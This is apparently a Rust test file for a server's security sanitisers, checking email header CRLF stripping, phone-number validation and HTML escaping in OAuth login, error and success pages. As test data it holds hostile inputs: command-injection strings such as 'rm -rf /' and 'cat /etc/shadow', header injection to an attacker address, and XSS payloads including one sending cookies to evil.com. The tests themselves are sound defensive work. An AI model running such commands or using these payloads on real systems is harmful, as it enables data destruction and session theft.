this repo has no description
1mod common; 2 3use bspds::notifications::{ 4 SendError, is_valid_phone_number, sanitize_header_value, 5}; 6use bspds::oauth::templates::{login_page, error_page, success_page}; 7use bspds::image::{ImageProcessor, ImageError}; 8 9#[test] 10fn test_sanitize_header_value_removes_crlf() { 11 let malicious = "Injected\r\nBcc: attacker@evil.com"; 12 let sanitized = sanitize_header_value(malicious); 13 14 assert!(!sanitized.contains('\r'), "CR should be removed"); 15 assert!(!sanitized.contains('\n'), "LF should be removed"); 16 assert!(sanitized.contains("Injected"), "Original content should be preserved"); 17 assert!(sanitized.contains("Bcc:"), "Text after newline should be on same line (no header injection)"); 18} 19 20#[test] 21fn test_sanitize_header_value_preserves_content() { 22 let normal = "Normal Subject Line"; 23 let sanitized = sanitize_header_value(normal); 24 25 assert_eq!(sanitized, "Normal Subject Line"); 26} 27 28#[test] 29fn test_sanitize_header_value_trims_whitespace() { 30 let padded = " Subject "; 31 let sanitized = sanitize_header_value(padded); 32 33 assert_eq!(sanitized, "Subject"); 34} 35 36#[test] 37fn test_sanitize_header_value_handles_multiple_newlines() { 38 let input = "Line1\r\nLine2\nLine3\rLine4"; 39 let sanitized = sanitize_header_value(input); 40 41 assert!(!sanitized.contains('\r'), "CR should be removed"); 42 assert!(!sanitized.contains('\n'), "LF should be removed"); 43 assert!(sanitized.contains("Line1"), "Content before newlines preserved"); 44 assert!(sanitized.contains("Line4"), "Content after newlines preserved"); 45} 46 47#[test] 48fn test_email_header_injection_sanitization() { 49 let header_injection = "Normal Subject\r\nBcc: attacker@evil.com\r\nX-Injected: value"; 50 let sanitized = sanitize_header_value(header_injection); 51 52 let lines: Vec<&str> = sanitized.split("\r\n").collect(); 53 assert_eq!(lines.len(), 1, "Should be a single line after sanitization"); 54 assert!(sanitized.contains("Normal Subject"), "Original content preserved"); 55 assert!(sanitized.contains("Bcc:"), "Content after CRLF preserved as same line text"); 56 assert!(sanitized.contains("X-Injected:"), "All content on same line"); 57} 58 59#[test] 60fn test_valid_phone_number_accepts_correct_format() { 61 assert!(is_valid_phone_number("+1234567890")); 62 assert!(is_valid_phone_number("+12025551234")); 63 assert!(is_valid_phone_number("+442071234567")); 64 assert!(is_valid_phone_number("+4915123456789")); 65 assert!(is_valid_phone_number("+1")); 66} 67 68#[test] 69fn test_valid_phone_number_rejects_missing_plus() { 70 assert!(!is_valid_phone_number("1234567890")); 71 assert!(!is_valid_phone_number("12025551234")); 72} 73 74#[test] 75fn test_valid_phone_number_rejects_empty() { 76 assert!(!is_valid_phone_number("")); 77} 78 79#[test] 80fn test_valid_phone_number_rejects_just_plus() { 81 assert!(!is_valid_phone_number("+")); 82} 83 84#[test] 85fn test_valid_phone_number_rejects_too_long() { 86 assert!(!is_valid_phone_number("+12345678901234567890123")); 87} 88 89#[test] 90fn test_valid_phone_number_rejects_letters() { 91 assert!(!is_valid_phone_number("+abc123")); 92 assert!(!is_valid_phone_number("+1234abc")); 93 assert!(!is_valid_phone_number("+a")); 94} 95 96#[test] 97fn test_valid_phone_number_rejects_spaces() { 98 assert!(!is_valid_phone_number("+1234 5678")); 99 assert!(!is_valid_phone_number("+ 1234567890")); 100 assert!(!is_valid_phone_number("+1 ")); 101} 102 103#[test] 104fn test_valid_phone_number_rejects_special_chars() { 105 assert!(!is_valid_phone_number("+123-456-7890")); 106 assert!(!is_valid_phone_number("+1(234)567890")); 107 assert!(!is_valid_phone_number("+1.234.567.890")); 108} 109 110#[test] 111fn test_signal_recipient_command_injection_blocked() { 112 let malicious_inputs = vec![ 113 "+123; rm -rf /", 114 "+123 && cat /etc/passwd", 115 "+123`id`", 116 "+123$(whoami)", 117 "+123|cat /etc/shadow", 118 "+123\n--help", 119 "+123\r\n--version", 120 "+123--help", 121 ]; 122 123 for input in malicious_inputs { 124 assert!(!is_valid_phone_number(input), "Malicious input '{}' should be rejected", input); 125 } 126} 127 128#[test] 129fn test_image_file_size_limit_enforced() { 130 let processor = ImageProcessor::new(); 131 132 let oversized_data: Vec<u8> = vec![0u8; 11 * 1024 * 1024]; 133 134 let result = processor.process(&oversized_data, "image/jpeg"); 135 136 match result { 137 Err(ImageError::FileTooLarge { .. }) => {} 138 Err(other) => { 139 let msg = format!("{:?}", other); 140 if !msg.to_lowercase().contains("size") && !msg.to_lowercase().contains("large") { 141 panic!("Expected FileTooLarge error, got: {:?}", other); 142 } 143 } 144 Ok(_) => panic!("Should reject files over size limit"), 145 } 146} 147 148#[test] 149fn test_image_file_size_limit_configurable() { 150 let processor = ImageProcessor::new().with_max_file_size(1024); 151 152 let data: Vec<u8> = vec![0u8; 2048]; 153 154 let result = processor.process(&data, "image/jpeg"); 155 156 assert!(result.is_err(), "Should reject files over configured limit"); 157} 158 159#[test] 160fn test_oauth_template_xss_escaping_client_id() { 161 let malicious_client_id = "<script>alert('xss')</script>"; 162 let html = login_page(malicious_client_id, None, None, "test-uri", None, None); 163 164 assert!(!html.contains("<script>"), "Script tags should be escaped"); 165 assert!(html.contains("&lt;script&gt;"), "HTML entities should be used for escaping"); 166} 167 168#[test] 169fn test_oauth_template_xss_escaping_client_name() { 170 let malicious_client_name = "<img src=x onerror=alert('xss')>"; 171 let html = login_page("client123", Some(malicious_client_name), None, "test-uri", None, None); 172 173 assert!(!html.contains("<img "), "IMG tags should be escaped"); 174 assert!(html.contains("&lt;img"), "IMG tag should be escaped as HTML entity"); 175} 176 177#[test] 178fn test_oauth_template_xss_escaping_scope() { 179 let malicious_scope = "\"><script>alert('xss')</script>"; 180 let html = login_page("client123", None, Some(malicious_scope), "test-uri", None, None); 181 182 assert!(!html.contains("<script>"), "Script tags in scope should be escaped"); 183} 184 185#[test] 186fn test_oauth_template_xss_escaping_error_message() { 187 let malicious_error = "<script>document.location='http://evil.com?c='+document.cookie</script>"; 188 let html = login_page("client123", None, None, "test-uri", Some(malicious_error), None); 189 190 assert!(!html.contains("<script>"), "Script tags in error should be escaped"); 191} 192 193#[test] 194fn test_oauth_template_xss_escaping_login_hint() { 195 let malicious_hint = "\" onfocus=\"alert('xss')\" autofocus=\""; 196 let html = login_page("client123", None, None, "test-uri", None, Some(malicious_hint)); 197 198 assert!(!html.contains("onfocus=\"alert"), "Event handlers should be escaped in login hint"); 199 assert!(html.contains("&quot;"), "Quotes should be escaped"); 200} 201 202#[test] 203fn test_oauth_template_xss_escaping_request_uri() { 204 let malicious_uri = "\" onmouseover=\"alert('xss')\""; 205 let html = login_page("client123", None, None, malicious_uri, None, None); 206 207 assert!(!html.contains("onmouseover=\"alert"), "Event handlers should be escaped in request_uri"); 208} 209 210#[test] 211fn test_oauth_error_page_xss_escaping() { 212 let malicious_error = "<script>steal()</script>"; 213 let malicious_desc = "<img src=x onerror=evil()>"; 214 215 let html = error_page(malicious_error, Some(malicious_desc)); 216 217 assert!(!html.contains("<script>"), "Script tags should be escaped in error page"); 218 assert!(!html.contains("<img "), "IMG tags should be escaped in error page"); 219} 220 221#[test] 222fn test_oauth_success_page_xss_escaping() { 223 let malicious_name = "<script>steal_session()</script>"; 224 225 let html = success_page(Some(malicious_name)); 226 227 assert!(!html.contains("<script>"), "Script tags should be escaped in success page"); 228} 229 230#[test] 231fn test_oauth_template_no_javascript_urls() { 232 let html = login_page("client123", None, None, "test-uri", None, None); 233 assert!(!html.contains("javascript:"), "Login page should not contain javascript: URLs"); 234 235 let error_html = error_page("test_error", None); 236 assert!(!error_html.contains("javascript:"), "Error page should not contain javascript: URLs"); 237 238 let success_html = success_page(None); 239 assert!(!success_html.contains("javascript:"), "Success page should not contain javascript: URLs"); 240} 241 242#[test] 243fn test_oauth_template_form_action_safe() { 244 let malicious_uri = "javascript:alert('xss')//"; 245 let html = login_page("client123", None, None, malicious_uri, None, None); 246 247 assert!(html.contains("action=\"/oauth/authorize\""), "Form action should be fixed URL"); 248} 249 250#[test] 251fn test_send_error_types_have_display() { 252 let timeout = SendError::Timeout; 253 let max_retries = SendError::MaxRetriesExceeded("test".to_string()); 254 let invalid_recipient = SendError::InvalidRecipient("bad recipient".to_string()); 255 256 assert!(!format!("{}", timeout).is_empty()); 257 assert!(!format!("{}", max_retries).is_empty()); 258 assert!(!format!("{}", invalid_recipient).is_empty()); 259} 260 261#[test] 262fn test_send_error_timeout_message() { 263 let error = SendError::Timeout; 264 let msg = format!("{}", error); 265 assert!(msg.to_lowercase().contains("timeout"), "Timeout error should mention timeout"); 266} 267 268#[test] 269fn test_send_error_max_retries_includes_detail() { 270 let error = SendError::MaxRetriesExceeded("Server returned 503".to_string()); 271 let msg = format!("{}", error); 272 assert!(msg.contains("503") || msg.contains("retries"), "MaxRetriesExceeded should include context"); 273} 274 275#[tokio::test] 276async fn test_check_signup_queue_accepts_session_jwt() { 277 use common::{base_url, client, create_account_and_login}; 278 279 let base = base_url().await; 280 let http_client = client(); 281 282 let (token, _did) = create_account_and_login(&http_client).await; 283 284 let res = http_client 285 .get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base)) 286 .header("Authorization", format!("Bearer {}", token)) 287 .send() 288 .await 289 .unwrap(); 290 291 assert_eq!(res.status(), reqwest::StatusCode::OK, "Session JWTs should be accepted"); 292 293 let body: serde_json::Value = res.json().await.unwrap(); 294 assert_eq!(body["activated"], true); 295} 296 297#[tokio::test] 298async fn test_check_signup_queue_no_auth() { 299 use common::{base_url, client}; 300 301 let base = base_url().await; 302 let http_client = client(); 303 304 let res = http_client 305 .get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base)) 306 .send() 307 .await 308 .unwrap(); 309 310 assert_eq!(res.status(), reqwest::StatusCode::OK, "No auth should work"); 311 312 let body: serde_json::Value = res.json().await.unwrap(); 313 assert_eq!(body["activated"], true); 314} 315 316#[test] 317fn test_html_escape_ampersand() { 318 let html = login_page("client&test", None, None, "test-uri", None, None); 319 assert!(html.contains("&amp;"), "Ampersand should be escaped"); 320 assert!(!html.contains("client&test"), "Raw ampersand should not appear in output"); 321} 322 323#[test] 324fn test_html_escape_quotes() { 325 let html = login_page("client\"test'more", None, None, "test-uri", None, None); 326 assert!(html.contains("&quot;") || html.contains("&#34;"), "Double quotes should be escaped"); 327 assert!(html.contains("&#39;") || html.contains("&apos;"), "Single quotes should be escaped"); 328} 329 330#[test] 331fn test_html_escape_angle_brackets() { 332 let html = login_page("client<test>more", None, None, "test-uri", None, None); 333 assert!(html.contains("&lt;"), "Less than should be escaped"); 334 assert!(html.contains("&gt;"), "Greater than should be escaped"); 335 assert!(!html.contains("<test>"), "Raw angle brackets should not appear"); 336} 337 338#[test] 339fn test_oauth_template_preserves_safe_content() { 340 let html = login_page("my-safe-client", Some("My Safe App"), Some("read write"), "valid-uri", None, Some("user@example.com")); 341 342 assert!(html.contains("my-safe-client") || html.contains("My Safe App"), "Safe content should be preserved"); 343 assert!(html.contains("read write") || html.contains("read"), "Scope should be preserved"); 344 assert!(html.contains("user@example.com"), "Login hint should be preserved"); 345} 346 347#[test] 348fn test_csrf_like_input_value_protection() { 349 let malicious = "\" onclick=\"alert('csrf')"; 350 let html = login_page("client", None, None, malicious, None, None); 351 352 assert!(!html.contains("onclick=\"alert"), "Event handlers should not be executable"); 353} 354 355#[test] 356fn test_unicode_handling_in_templates() { 357 let unicode_client = "客户端 クライアント"; 358 let html = login_page(unicode_client, None, None, "test-uri", None, None); 359 360 assert!(html.contains("客户端") || html.contains("&#"), "Unicode should be preserved or encoded"); 361} 362 363#[test] 364fn test_null_byte_in_input() { 365 let with_null = "client\0id"; 366 let sanitized = sanitize_header_value(with_null); 367 368 assert!(sanitized.contains("client"), "Content before null should be preserved"); 369} 370 371#[test] 372fn test_very_long_input_handling() { 373 let long_input = "x".repeat(10000); 374 let sanitized = sanitize_header_value(&long_input); 375 376 assert!(!sanitized.is_empty(), "Long input should still produce output"); 377}